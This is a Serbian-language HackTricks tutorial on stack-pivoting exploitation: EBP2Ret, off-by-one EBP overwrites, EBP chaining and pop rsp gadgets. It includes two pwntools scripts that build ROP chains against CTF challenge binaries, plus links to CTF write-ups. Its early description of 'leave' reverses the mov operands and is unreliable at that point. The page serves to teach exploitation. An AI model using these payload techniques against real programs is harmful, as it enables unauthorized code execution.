9.3 KiB
Stack Pivoting - EBP2Ret - EBP chaining
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJATELJSTVO!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @hacktricks_live.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Ova tehnika iskorišćava mogućnost manipulacije Base Pointer-a (EBP) kako bi se lanciralo izvršavanje više funkcija kroz pažljivu upotrebu EBP registra i sekvence instrukcija leave; ret
.
Kao podsetnik, leave
u osnovi znači:
mov ebp, esp
pop ebp
ret
I pošto je EBP u stack-u pre EIP-a, moguće je kontrolisati ga kontrolišući stack.
EBP2Ret
Ova tehnika je posebno korisna kada možete izmeniti EBP registar ali nemate direktni način da promenite EIP registar. Iskorišćava ponašanje funkcija kada završe izvršavanje.
Ako tokom izvršavanja fvuln
uspete da ubacite lažni EBP u stack koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shell koda (plus 4 bajta za pop
operaciju), možete indirektno kontrolisati EIP. Kada se fvuln
završi, ESP je postavljen na ovu izrađenu lokaciju, a sledeća pop
operacija smanjuje ESP za 4 bajta, efektivno ga usmeravajući ka adresi koju je napadač tamo sačuvao.
Primetite kako morate znati 2 adrese: Onu gde će ići ESP, gde ćete morati upisati adresu na koju pokazuje ESP.
Konstrukcija napada
Prvo morate znati adresu gde možete pisati proizvoljne podatke / adrese. ESP će pokazivati ovde i izvršiti prvi ret
.
Zatim, morate znati adresu koju koristi ret
koja će izvršiti proizvoljni kod. Možete koristiti:
- Validnu ONE_GADGET adresu.
- Adresu
system()
praćenu sa 4 nepotrebna bajta i adresom"/bin/sh"
(x86 bitovi). - Adresu
jump esp;
gedžeta (ret2esp) praćenu sa shell kodom za izvršavanje. - Nešto ROP lanac
Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, moraju biti 4
bajta zbog pop
dela leave
instrukcije. Moguće je zloupotrebiti ove 4B da se postavi drugi lažni EBP i nastavi kontrolisanje izvršavanja.
Off-By-One napad
Postoji specifična varijanta ove tehnike poznata kao "Off-By-One napad". Koristi se kada možete samo izmeniti najmanje značajan bajt EBP-a. U tom slučaju, lokacija memorije koja čuva adresu na koju treba skočiti sa ret
mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa strožijim uslovima.
Obično se modifikuje bajt 0x00 da bi se skočilo što dalje.
Takođe, uobičajeno je koristiti RET klizaljku u stack-u i staviti pravi ROP lanac na kraju kako bi bilo verovatnije da novi ESP pokazuje unutar RET KLIZALJKE i da se izvrši konačni ROP lanac.
EBP Povezivanje
Stavljanjem kontrolisane adrese u EBP
unos stack-a i adrese za leave; ret
u EIP
, moguće je pomeriti ESP
na kontrolisanu EBP
adresu iz stack-a.
Sada je ESP
kontrolisan pokazujući ka željenoj adresi i sledeća instrukcija za izvršavanje je RET
. Da bi se iskoristilo ovo, moguće je staviti na kontrolisano mesto ESP-a ovo:
&(sledeći lažni EBP)
-> Učitaj novi EBP zbogpop ebp
izleave
instrukcijesystem()
-> Pozvan od straneret
&(leave;ret)
-> Pozvan nakon što system završi, pomeriće ESP na lažni EBP i početi ponovo&("/bin/sh")
-> Parametar zasystem
Na ovaj način je moguće povezati nekoliko lažnih EBPa da se kontroliše tok programa.
Ovo je kao ret2lib, ali složenije bez očigledne koristi ali može biti interesantno u nekim specifičnim slučajevima.
Osim toga, ovde imate primer izazova koji koristi ovu tehniku sa procurivanjem stack-a da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP možda neće biti korišćen
Kao što je objašnjeno u ovom postu, ako je binarni fajl kompajliran sa određenim optimizacijama, EBP nikada ne kontroliše ESP, stoga, bilo koji eksploit koji radi kontrolišući EBP će zapravo neuspeti jer nema stvarnog efekta.
To je zato što se prolog i epilog menjaju ako je binarni fajl optimizovan.
- Nije optimizovan:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimizovano:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
Druge metode kontrole RSP
pop rsp
gedžet
Na ovoj stranici možete pronaći primer korišćenja ove tehnike. Za ovaj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, i postojao je pop rsp
gedžet i postoji leak sa steka:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gedžet
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Proverite tehniku ret2esp ovde:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
Reference & Drugi Primeri
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bita, off by one eksploatacija sa rop lancem koji počinje sa ret sledom
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bita, bez relro, canary, nx i pie. Program omogućava curenje memorije za stack ili pie i vrednost qword-a. Prvo dobijte curenje stack-a i koristite vrednost qword-a da se vratite i dobijete curenje pie-a. Zatim koristite vrednost qword-a da napravite večnu petlju zloupotrebom unosa
.fini_array
+ pozivanjem__libc_csu_fini
(više informacija ovde). Zloupotrebom ovog "večnog" pisanja, formira se ROP lanac u .bss i završava se pozivom pivota sa RBP.